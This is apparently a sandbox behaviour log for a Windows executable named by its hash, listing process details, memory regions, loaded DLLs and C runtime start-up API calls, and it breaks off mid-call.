# Flog Txt Version 1 # Analyzer Version: 4.4.0 # Analyzer Build Date: Dec 8 2021 20:04:45 # Log Creation Date: 09.01.2022 18:09:05.946 Process: id = "1" image_name = "08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" page_root = "0x72e6d000" os_pid = "0xbcc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x618" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 117 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 118 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 119 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 120 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 121 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 122 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 123 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 124 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 125 start_va = 0x400000 end_va = 0x2b7dfff monitored = 1 entry_point = 0x401eaf region_type = mapped_file name = "08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe") Region: id = 126 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 127 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 130 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 131 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 269 start_va = 0x2d30000 end_va = 0x2d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 270 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 271 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 273 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x2d40000 end_va = 0x2f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 275 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 277 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 278 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 279 start_va = 0x2b80000 end_va = 0x2c3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 280 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 281 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 282 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 283 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 284 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 285 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 286 start_va = 0x2d40000 end_va = 0x2e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 287 start_va = 0x2ea0000 end_va = 0x2f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ea0000" filename = "" Region: id = 288 start_va = 0x2c40000 end_va = 0x2c69fff monitored = 0 entry_point = 0x2c45680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 289 start_va = 0x2fa0000 end_va = 0x3127fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002fa0000" filename = "" Region: id = 290 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 291 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 292 start_va = 0x2c40000 end_va = 0x2c40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 293 start_va = 0x3130000 end_va = 0x32b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003130000" filename = "" Region: id = 294 start_va = 0x32c0000 end_va = 0x46bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032c0000" filename = "" Region: id = 295 start_va = 0x46c0000 end_va = 0x47affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 296 start_va = 0x2c50000 end_va = 0x2c58fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 297 start_va = 0x47b0000 end_va = 0x4faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000047b0000" filename = "" Region: id = 298 start_va = 0x2c60000 end_va = 0x2c62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c60000" filename = "" Region: id = 299 start_va = 0x2c60000 end_va = 0x2c62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c60000" filename = "" Region: id = 300 start_va = 0x2c60000 end_va = 0x2c68fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 301 start_va = 0x70970000 end_va = 0x709e4fff monitored = 0 entry_point = 0x709a9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 302 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 303 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 304 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 305 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 306 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 307 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 308 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 309 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 310 start_va = 0x47b0000 end_va = 0x490ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 311 start_va = 0x74c60000 end_va = 0x74d7efff monitored = 0 entry_point = 0x74ca5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 312 start_va = 0x2c70000 end_va = 0x2c70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c70000" filename = "" Region: id = 313 start_va = 0x2ce0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 314 start_va = 0x46c0000 end_va = 0x477bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046c0000" filename = "" Region: id = 315 start_va = 0x47a0000 end_va = 0x47affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047a0000" filename = "" Region: id = 316 start_va = 0x2c70000 end_va = 0x2c73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c70000" filename = "" Region: id = 317 start_va = 0x6f3e0000 end_va = 0x6f3fcfff monitored = 0 entry_point = 0x6f3e3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 318 start_va = 0x2c80000 end_va = 0x2c82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 334 start_va = 0x2c80000 end_va = 0x2c80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Thread: id = 1 os_tid = 0x31c [0078.333] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0078.333] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x47a0000 [0078.335] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.335] GetProcAddress (hModule=0x74f30000, lpProcName="FlsAlloc") returned 0x74f4a980 [0078.335] GetProcAddress (hModule=0x74f30000, lpProcName="FlsGetValue") returned 0x74f47570 [0078.335] GetProcAddress (hModule=0x74f30000, lpProcName="FlsSetValue") returned 0x74f49e30 [0078.335] GetProcAddress (hModule=0x74f30000, lpProcName="FlsFree") returned 0x74f54ff0 [0078.336] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.336] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.336] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.336] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.336] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.337] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.337] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.337] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.337] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.337] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.337] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.337] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.338] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.338] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.338] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.339] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0078.339] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x214) returned 0x47a05a8 [0078.339] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.339] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0078.339] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0078.339] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0078.339] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0078.340] GetCurrentThreadId () returned 0x31c [0078.340] GetStartupInfoA (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0078.340] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x800) returned 0x47a07c8 [0078.341] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0078.341] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0078.341] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0078.341] SetHandleCount (uNumber=0x20) returned 0x20 [0078.341] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" " [0078.341] GetEnvironmentStringsW () returned 0x2eafd20* [0078.341] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x0, Size=0xa1a) returned 0x47a0fd0 [0078.341] FreeEnvironmentStringsW (penv=0x2eafd20) returned 1 [0078.341] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x43aa08, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe")) returned 0x62 [0078.341] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x0, Size=0xce) returned 0x47a19f8 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x90) returned 0x47a1ad0 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x3e) returned 0x47a1b68 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x5c) returned 0x47a1bb0 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x6e) returned 0x47a1c18 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x78) returned 0x47a1c90 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x62) returned 0x47a1d10 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x28) returned 0x47a1d80 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x48) returned 0x47a1db0 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x1a) returned 0x47a1e00 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x3a) returned 0x47a1e28 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x62) returned 0x47a1e70 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x2a) returned 0x47a1ee0 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x2e) returned 0x47a1f18 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x1c) returned 0x47a1f50 [0078.342] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0xd2) returned 0x47a1f78 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x7c) returned 0x47a2058 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x36) returned 0x47a20e0 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x3a) returned 0x47a2120 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x90) returned 0x47a2168 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x24) returned 0x47a2200 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x30) returned 0x47a2230 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x36) returned 0x47a2268 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x48) returned 0x47a22a8 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x52) returned 0x47a22f8 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x3c) returned 0x47a2358 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0xd6) returned 0x47a23a0 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x2e) returned 0x47a2480 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x1e) returned 0x47a24b8 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x2c) returned 0x47a24e0 [0078.343] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x54) returned 0x47a2518 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x52) returned 0x47a2578 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x24) returned 0x47a25d8 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x42) returned 0x47a2608 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x2c) returned 0x47a2658 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x44) returned 0x47a2690 [0078.344] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x24) returned 0x47a26e0 [0078.350] HeapFree (in: hHeap=0x47a0000, dwFlags=0x0, lpMem=0x47a0fd0 | out: hHeap=0x47a0000) returned 1 [0078.380] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x74f30000 [0078.380] GetProcAddress (hModule=0x74f30000, lpProcName="IsProcessorFeaturePresent") returned 0x74f49bf0 [0078.380] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0078.382] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x8, Size=0x800) returned 0x47a2710 [0078.383] GetLastError () returned 0x0 [0078.383] SetLastError (dwErrCode=0x0) [0078.383] GetLastError () returned 0x0 [0078.383] SetLastError (dwErrCode=0x0) [0078.384] GetLastError () returned 0x0 [0078.384] SetLastError (dwErrCode=0x0) [0078.384] GetACP () returned 0x4e4 [0078.384] RtlAllocateHeap (HeapHandle=0x47a0000, Flags=0x0, Size=0x220) returned 0x47a0fd0 [0078.384] GetLastError () returned 0x0 [0078.384] SetLastError (dwErrCode=0x0) [0078.384] IsValidCodePage (CodePage=0x4e4) returned 1 [0078.384] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0078.384] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0078.385] GetLastError () returned 0x0 [0078.385] SetLastError (dwErrCode=0x0) [0078.385] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f8d8 | out: lpCharType=0x19f8d8) returned 1 [0078.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쉡@Ā") returned 256 [0078.385] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쉡@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0078.385] GetLastError () returned 0x0 [0078.385] SetLastError (dwErrCode=0x0) [0078.385] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0078.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.386] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 